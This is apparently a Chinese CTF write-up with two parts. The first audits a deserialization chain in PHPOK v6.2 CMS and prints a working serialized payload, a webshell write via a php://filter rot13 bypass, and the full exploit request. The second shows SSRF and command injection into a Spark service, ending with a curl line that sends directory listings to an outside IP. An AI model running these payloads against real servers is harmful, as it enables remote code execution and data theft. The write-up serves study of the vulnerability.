审审PHP
QWB FINAL - CMS (PHPOK v6.2) 上次审计PHP还是在大二,换了电脑后也一直没有配置xdebug环境,导致当天只能硬着头皮看代码,看了一天后入口和出口都找到了,可惜没法debug不知道函数和参数的情况,加之对一些函数敏感度不够,错过了。今天就专门抽了一下午时间来配置环境和debug这个洞
环境配置 环境配置有点折腾人,因为给了dockerfile,但m1pro有点搞,所以记录下踩的坑。
首先,官方给的Dockerfile,在此基础上添加php7.2-xdebug进行安装
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 FROM ubuntu:18.04 ENV DEBIAN_FRONTEND noninteractive COPY sources.list /etc/apt/sources.list RUN apt-get update && apt-get install apache2 -y COPY apache2.conf /etc/apache2/apache2.conf COPY smity2.tar.gz /root/smity2.tar.gz COPY flag /flaaaaaaggggggggggg COPY study.sql /root/study.sql RUN apt-get update RUN apt-get install -y mariadb-server mariadb-client unzip software-properties-common php7.2 php7.2-xml php7.2-mysqli php7.2-xmlrpc php7.2-soap php7.2-intl php7.2-gd php7.2-zip php7.2-mbstring libapache2-mod-php php-xml php-xmlrpc php-soap php-intl php-gd php-zip php-mbstring unzip php7.2-xdebug vim RUN groupadd www \ && useradd --shell /sbin/nologin -g www www \ && rm -rf /var/www/html/* \ && tar zxvf /root/smity2.tar.gz -C / \ && chmod 755 -R /var/www/html \ && chmod 777 -R /var/www/html/_* \ && chmod 777 -R /var/www/html/task/ \ && service mysql start \ && mysql -uroot -proot -e "create user phpok identified by 'phpok';" \ && mysql -uroot -proot -e "create database phpok;use phpok;source /root/study.sql;" \ && mysql -uroot -proot -e "grant all on phpok.* to phpok@'localhost' identified by 'phpok' with grant option;" \ && mysql -uroot -proot -e "flush privileges;" \ && rm -rf /var/lib/apt/lists/* \ && chmod 644 /flaaaaaaggggggggggg \ && a2enmod rewrite \ && service apache2 restart ENTRYPOINT service apache2 restart && service mysql restart && sh
替换source.list为arm64用的,需要对应上ubuntu版本,这里是18.04特有,别的会报错(实测)
1 2 3 4 5 6 7 8 deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-updates main restricted universe multiverse deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-updates main restricted universe multiverse deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-security main restricted universe multiverse deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-security main restricted universe multiverse deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-backports main restricted universe multiverse deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-backports main restricted universe multiverse deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic main universe restricted deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic main universe restricted
然后配置docker-compose方便启动,需要注意环境的php.ini是要替换apache2目录的而非cli目录的,同时留意不需要映射9000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 version: '3' services: myimg: image: myimg:0.1 build: context: . dockerfile: Dockerfile ports: - 8081:80 # - 9000:9000 volumes: - ./var/www/html/:/var/www/html/ - ./php.ini:/etc/php/7.2/apache2/php.ini stdin_open: true tty: true
最后就是在php.ini中追加xdebug的参数,这里是在网上找的基础上改的,但是原版里面有一行用#注释的内容,在vscode里看起来一点毛病也没有,但是解析php.ini时会出错,但是对于apache2的重启没有任何影响(后续通过/var/log相关日志排查出来的),在这里踩了坑,需留意
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [xdebug] zend_extension="/usr/lib/php/20170718/xdebug.so" xdebug.remote_handler="dbgp" xdebug.remote_host="192.168.xx.xx" xdebug.remote_port="9000" xdebug.remote_log="/var/log/php/xdebug.log" xdebug.remote_enable=1 xdebug.idekey="outx" ;启用代码自动跟踪 xdebug.auto_trace = On ;启用性能检测分析 xdebug.profiler_enable = On xdebug.profiler_enable_trigger = On xdebug.profiler_output_name = "profiler.out.%t.%p"
EXP 根据周末硬看了一天的成果,pop链是现成的,利用framework/engine/cache.php中的cache类,留意析构方法和save方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public function __destruct() { //echo "<pre>".print_r($this->key_list,true)."</pre>"; //echo "<pre>".print_r(count($this->key_list),true)."</pre>"; $this->save($this->key_id,$this->key_list); $this->expired(); } public function save($id,$content='') { if(!$id || $content === '' || !$this->status){ return false; } $this->_time(); $content = serialize($content); $file = $this->folder.$id.".php"; file_put_contents($file,'<?php exit();?>'.$content); $this->_time(); $this->_count(); return true; }
当时为什么找到这个地方呢,就是从file_put_contents这个sink点搜过来的,然后确定了这个链是可以打反序列化的,这里可以用php://filter绕过这个exit
构造class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class cache { protected $timeout = 1800; protected $status = true; protected $prefix = 'qinggan_'; protected $keyfile = ''; protected $folder = 'php://filter/string.rot13/resource=/var/www/html/_cache/'; protected $key_id = 'outx'; protected $key_list = '<?cuc riny($_CBFG[\'bhgk\']);?>'; protected $debug = false; protected $time; // private $time_use = 0; private $time_tmp = 0; private $count = 0; } echo(urlencode(urlencode(serialize(new cache())))); // 两次编码主要是为了第一次传递进去不影响后续解析 O%253A5%253A%2522cache%2522%253A12%253A%257Bs%253A10%253A%2522%2500%252A%2500timeout%2522%253Bi%253A1800%253Bs%253A9%253A%2522%2500%252A%2500status%2522%253Bb%253A1%253Bs%253A9%253A%2522%2500%252A%2500prefix%2522%253Bs%253A8%253A%2522qinggan_%2522%253Bs%253A10%253A%2522%2500%252A%2500keyfile%2522%253Bs%253A0%253A%2522%2522%253Bs%253A9%253A%2522%2500%252A%2500folder%2522%253Bs%253A56%253A%2522php%253A%252F%252Ffilter%252Fstring.rot13%252Fresource%253D%252Fvar%252Fwww%252Fhtml%252F_cache%252F%2522%253Bs%253A9%253A%2522%2500%252A%2500key_id%2522%253Bs%253A4%253A%2522outx%2522%253Bs%253A11%253A%2522%2500%252A%2500key_list%2522%253Bs%253A29%253A%2522%253C%253Fcuc%2Briny%2528%2524_CBFG%255B%2527bhgk%2527%255D%2529%253B%253F%253E%2522%253Bs%253A8%253A%2522%2500%252A%2500debug%2522%253Bb%253A0%253Bs%253A7%253A%2522%2500%252A%2500time%2522%253BN%253Bs%253A15%253A%2522%2500cache%2500time_use%2522%253Bi%253A0%253Bs%253A15%253A%2522%2500cache%2500time_tmp%2522%253Bi%253A0%253Bs%253A12%253A%2522%2500cache%2500count%2522%253Bi%253A0%253B%257D
burp
1 GET /api.php?c=call&f=index&data={%22m_picplayer%22:%220%26type_id%3Dformat_ext_all%26x%5Bform_type%5D%3Durl%26x%5Bcontent]=O%253A5%253A%2522cache%2522%253A12%253A%257Bs%253A10%253A%2522%2500%252A%2500timeout%2522%253Bi%253A1800%253Bs%253A9%253A%2522%2500%252A%2500status%2522%253Bb%253A1%253Bs%253A9%253A%2522%2500%252A%2500prefix%2522%253Bs%253A8%253A%2522qinggan_%2522%253Bs%253A10%253A%2522%2500%252A%2500keyfile%2522%253Bs%253A0%253A%2522%2522%253Bs%253A9%253A%2522%2500%252A%2500folder%2522%253Bs%253A56%253A%2522php%253A%252F%252Ffilter%252Fstring.rot13%252Fresource%253D%252Fvar%252Fwww%252Fhtml%252F_cache%252F%2522%253Bs%253A9%253A%2522%2500%252A%2500key_id%2522%253Bs%253A4%253A%2522outx%2522%253Bs%253A11%253A%2522%2500%252A%2500key_list%2522%253Bs%253A29%253A%2522%253C%253Fcuc%2Briny%2528%2524_CBFG%255B%2527bhgk%2527%255D%2529%253B%253F%253E%2522%253Bs%253A8%253A%2522%2500%252A%2500debug%2522%253Bb%253A0%253Bs%253A7%253A%2522%2500%252A%2500time%2522%253BN%253Bs%253A15%253A%2522%2500cache%2500time_use%2522%253Bi%253A0%253Bs%253A15%253A%2522%2500cache%2500time_tmp%2522%253Bi%253A0%253Bs%253A12%253A%2522%2500cache%2500count%2522%253Bi%253A0%253B%257D%22} HTTP/1.1
Track It 接下来就一步一步从source到sink点分析
framework/api/call_control.php#index_f(),对应到URL则是api.php?c=call&f=index,中间参数写到注释中了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public function index_f() { $data = $this->get('data','html'); ... if(substr($data,0,1) == '{'){ $data = $this->lib('json')->decode(stripslashes($data)); //解析json,写成键值对 if($data){ $data = $this->format($data); } }else{ ... } //基于接口禁用SQL $is_error = false; foreach($data as $key=>$value){ if(isset($value['type_id'])){ //$key = "m_picplayer" $value="0&type_id=format_ext_all...." $is_error = true; break; } } if($is_error){ $this->error(P_Lang('系统禁止改写类型参数')); } $call_all = $this->model('call')->all($this->site['id'],'identifier'); $is_ok = false; $rslist = array(); foreach($data as $key=>$value){ //检查系统是否有开放SQL调用 ... //明文传输将禁用sqlext和sqlinfo if(isset($value['sqlext'])){ unset($value['sqlext']); } if(isset($value['sqlinfo'])){ unset($value['sqlinfo']); } if($call_all && $call_all[$key] && $call_all[$key]['is_api']){ // $call_all[$key]['is_api'] = 1 $tmpValue = $value; $fid = $key; .. $rslist[$fid] = phpok($key,$tmpValue); // 关键点 -> framework/phpok_tpl_helper.php $is_ok = true; }else{ ... } } ... }
framework/phpok_tpl_helper.php#phpok($id='',$ext="")
1 2 3 4 5 6 7 8 9 function phpok($id='',$ext="") // $ext="0&type_id=format_ext_all...." $id="m_picplayer" { ... $count = func_num_args(); if($count<=2){ return $GLOBALS['app']->call->phpok($id,$ext); // 关键 -> framework/phpok_call.php } ... }
framework/phpok_call.php#phpok($id,$rs="")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public function phpok($id,$rs="") { ... //格式化参数 if($rs && is_string($rs)){ parse_str($rs,$rs); //parse_str 将字符串解析成多个变量 } ... // 向$rs中添加了两个字段site和_baseurl if(substr($id,0,1) != '_'){ $call_rs = $this->load_phpoklist($id,$rs['site']); // 从$id=m_picplayer中获取信息 ... if($rs && is_array($rs)){ $call_rs = array_merge($call_rs,$rs); // 后面的值覆盖前面的,关键点,利用$rs中的type_id覆盖掉$call_rs的 } }else{ ... } $func = '_'.$call_rs['type_id']; if(!in_array($func,$this->mlist)){ // $this-mlist可用_format_ext_all打反序列化和_sql打任意sql注入然后在别处触发反序列化 return false; } ... return $this->$func($call_rs,$cache_id); 关键点 $func = _format_ext_all -> framework/phpok_call.php $call_rs['x']是我们控制的反序列化数据 }
framework/phpok_call.php#_format_ext_all($rslist)
1 2 3 4 5 6 7 8 private function _format_ext_all($rslist) { $res = ''; foreach($rslist as $key=>$value){ $value为我们设置的x时 if($value['form_type'] == 'url' && $value['content']){ $value['content'] = unserialize($value['content']); //触发反序列化 ... }
总结 到这里,这个洞跟完了,实际上并不复杂,可惜当时没有环境能看看处理流程,不然感觉自己应该可以完成这个0day的审计的!不过一切都在变好,继续努力😄
WMCTF - JAVA
懒,就写在这里了,精力都给qwb了,只做了一道web
思路 给了个任意文件读取,但是这个任意文件读取可以列目录,比较神奇,读了Java的目录,没有什么有意思的东西,但是在读环境变量的时候翻到了一些k8s的配置,就在想是不是要ssrf打内网。
读取/proc/self/cwd目录时有很多tomcat的日志,在catalina的日志中翻到了一些遗落信息,比如打了10.244.0.160:8080这种,于是放开手扫这个c段(其实按理说应该是翻到配置,有个10段的内网地址,然后扫b段的,这里取巧了,因为看题的时候已经很迟了),然后扫到了spark
在ssrf点过滤了反引号,反引号的url编码,反引号url编码的url编码,搜了下这个洞,触发点在doAs参数,这个参数直接合并到/bin/bash -c "id -Gn 参数"
中,命令拼接一下就行,于是在vps上监听,用;做一下分割就可以(注意payload需要两次url编码,一次是ssrf二次是内网web服务),payload如下
这里环境比较坑,我在美丽国的vps收不到,但是国内的vps点击就上,当时折腾了好久,记录下curl外带
1 ;curl -d "x=$(ls /|base64)" http://8.8.8.8